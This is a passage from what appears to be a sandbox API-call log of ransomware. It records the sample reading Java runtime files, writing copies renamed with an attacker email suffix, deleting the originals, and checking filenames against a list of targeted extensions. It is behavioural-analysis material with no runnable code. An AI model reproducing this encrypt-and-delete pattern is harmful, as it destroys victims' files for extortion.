dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0163.929] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.929] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0163.930] GetLastError () returned 0x0 [0163.930] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0163.989] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0164.077] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.077] WriteFile (in: hFile=0x518, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe8, lpOverlapped=0x0) returned 1 [0164.077] SetEndOfFile (hFile=0x518) returned 1 [0164.528] CloseHandle (hObject=0x518) returned 1 [0164.528] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.528] SetEndOfFile (hFile=0x514) returned 1 [0165.127] CloseHandle (hObject=0x514) returned 1 [0165.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0165.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.128] lstrlenW (lpString=".doc") returned 4 [0165.128] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.128] lstrlenW (lpString=".docx") returned 5 [0165.128] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0165.128] lstrlenW (lpString=".pdf") returned 4 [0165.128] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.128] lstrlenW (lpString=".xls") returned 4 [0165.128] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.128] lstrlenW (lpString=".xlsx") returned 5 [0165.128] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0165.128] lstrlenW (lpString=".ppt") returned 4 [0165.128] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.128] lstrlenW (lpString=".zip") returned 4 [0165.129] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString=".rar") returned 4 [0165.129] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString=".bz2") returned 4 [0165.129] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.129] lstrlenW (lpString=".7z") returned 3 [0165.129] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString=".dbf") returned 4 [0165.129] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString=".1cd") returned 4 [0165.129] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString=".jpg") returned 4 [0165.129] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString=".doc") returned 4 [0165.129] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.129] lstrlenW (lpString=".docx") returned 5 [0165.129] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0165.129] lstrlenW (lpString=".pdf") returned 4 [0165.129] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString=".xls") returned 4 [0165.129] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString=".xlsx") returned 5 [0165.129] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0165.129] lstrlenW (lpString=".ppt") returned 4 [0165.129] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.129] lstrlenW (lpString=".zip") returned 4 [0165.129] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.129] lstrlenW (lpString=".rar") returned 4 [0165.129] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.130] lstrlenW (lpString=".bz2") returned 4 [0165.130] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.130] lstrlenW (lpString=".7z") returned 3 [0165.130] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.130] lstrlenW (lpString=".dbf") returned 4 [0165.130] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.130] lstrlenW (lpString=".1cd") returned 4 [0165.130] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0165.130] lstrlenW (lpString=".jpg") returned 4 [0165.130] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.130] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0165.130] lstrlenW (lpString="jsse.jar") returned 8 [0165.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0165.130] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=584576) returned 1 [0165.131] CloseHandle (hObject=0x514) returned 1 [0165.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0165.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0165.131] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.131] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.248] GetLastError () returned 0x0 [0165.248] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0165.285] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0165.296] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.296] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe4, lpOverlapped=0x0) returned 1 [0165.296] SetEndOfFile (hFile=0x4e8) returned 1 [0165.297] CloseHandle (hObject=0x4e8) returned 1 [0165.297] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.297] SetEndOfFile (hFile=0x514) returned 1 [0166.178] CloseHandle (hObject=0x514) returned 1 [0166.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.179] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0166.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.179] lstrlenW (lpString=".doc") returned 4 [0166.179] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.179] lstrlenW (lpString=".docx") returned 5 [0166.180] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0166.180] lstrlenW (lpString=".pdf") returned 4 [0166.180] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString=".xls") returned 4 [0166.180] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString=".xlsx") returned 5 [0166.180] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0166.180] lstrlenW (lpString=".ppt") returned 4 [0166.180] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString=".zip") returned 4 [0166.180] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString=".rar") returned 4 [0166.180] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString=".bz2") returned 4 [0166.180] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.180] lstrlenW (lpString=".7z") returned 3 [0166.180] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString=".dbf") returned 4 [0166.180] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString=".1cd") returned 4 [0166.180] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString=".jpg") returned 4 [0166.180] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.180] lstrlenW (lpString=".doc") returned 4 [0166.180] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.180] lstrlenW (lpString=".docx") returned 5 [0166.181] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0166.181] lstrlenW (lpString=".pdf") returned 4 [0166.181] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.181] lstrlenW (lpString=".xls") returned 4 [0166.181] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.181] lstrlenW (lpString=".xlsx") returned 5 [0166.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0166.181] lstrlenW (lpString=".ppt") returned 4 [0166.181] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.181] lstrlenW (lpString=".zip") returned 4 [0166.181] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.181] lstrlenW (lpString=".rar") returned 4 [0166.181] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.181] lstrlenW (lpString=".bz2") returned 4 [0166.181] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.181] lstrlenW (lpString=".7z") returned 3 [0166.181] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.181] lstrlenW (lpString=".dbf") returned 4 [0166.181] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.181] lstrlenW (lpString=".1cd") returned 4 [0166.181] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0166.181] lstrlenW (lpString=".jpg") returned 4 [0166.181] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.181] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0166.181] lstrlenW (lpString="local_policy.jar") returned 16 [0166.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0166.183] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3527) returned 1 [0166.183] CloseHandle (hObject=0x514) returned 1 [0166.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0166.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0166.184] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.184] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0166.185] GetLastError () returned 0x0 [0166.185] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xdc7, lpOverlapped=0x0) returned 1 [0166.187] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0166.187] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.188] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xf4, lpOverlapped=0x0) returned 1 [0166.188] SetEndOfFile (hFile=0x4e8) returned 1 [0166.188] CloseHandle (hObject=0x4e8) returned 1 [0166.188] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.188] SetEndOfFile (hFile=0x514) returned 1 [0166.190] CloseHandle (hObject=0x514) returned 1 [0166.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.191] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0166.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".doc") returned 4 [0166.192] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.192] lstrlenW (lpString=".docx") returned 5 [0166.192] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0166.192] lstrlenW (lpString=".pdf") returned 4 [0166.192] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString=".xls") returned 4 [0166.192] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString=".xlsx") returned 5 [0166.192] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0166.192] lstrlenW (lpString=".ppt") returned 4 [0166.192] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".zip") returned 4 [0166.192] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString=".rar") returned 4 [0166.192] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString=".bz2") returned 4 [0166.192] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.192] lstrlenW (lpString=".7z") returned 3 [0166.192] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".dbf") returned 4 [0166.192] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".1cd") returned 4 [0166.192] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".jpg") returned 4 [0166.192] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.192] lstrlenW (lpString=".doc") returned 4 [0166.193] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.193] lstrlenW (lpString=".docx") returned 5 [0166.193] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0166.193] lstrlenW (lpString=".pdf") returned 4 [0166.193] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.193] lstrlenW (lpString=".xls") returned 4 [0166.193] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.193] lstrlenW (lpString=".xlsx") returned 5 [0166.193] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0166.193] lstrlenW (lpString=".ppt") returned 4 [0166.193] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.193] lstrlenW (lpString=".zip") returned 4 [0166.193] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.193] lstrlenW (lpString=".rar") returned 4 [0166.193] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.193] lstrlenW (lpString=".bz2") returned 4 [0166.193] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.193] lstrlenW (lpString=".7z") returned 3 [0166.193] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.193] lstrlenW (lpString=".dbf") returned 4 [0166.193] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.193] lstrlenW (lpString=".1cd") returned 4 [0166.193] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0166.193] lstrlenW (lpString=".jpg") returned 4 [0166.193] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.193] lstrcmpiW (lpString1=".libraries", lpString2=".NEWS") returned -1 [0166.194] lstrlenW (lpString="trusted.libraries") returned 17 [0166.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0166.195] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=0) returned 1 [0166.195] CloseHandle (hObject=0x514) returned 1 [0166.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.197] lstrlenW (lpString=".doc") returned 4 [0166.197] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".docx") returned 5 [0166.197] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0166.197] lstrlenW (lpString=".pdf") returned 4 [0166.197] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".xls") returned 4 [0166.197] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".xlsx") returned 5 [0166.197] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0166.197] lstrlenW (lpString=".ppt") returned 4 [0166.197] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.197] lstrlenW (lpString=".zip") returned 4 [0166.197] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".rar") returned 4 [0166.197] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".bz2") returned 4 [0166.197] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString=".7z") returned 3 [0166.197] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0166.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.197] lstrlenW (lpString=".dbf") returned 4 [0166.197] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.197] lstrlenW (lpString=".1cd") returned 4 [0166.197] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0166.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.197] lstrlenW (lpString=".jpg") returned 4 [0166.197] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0166.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.198] lstrlenW (lpString="C:\\Program 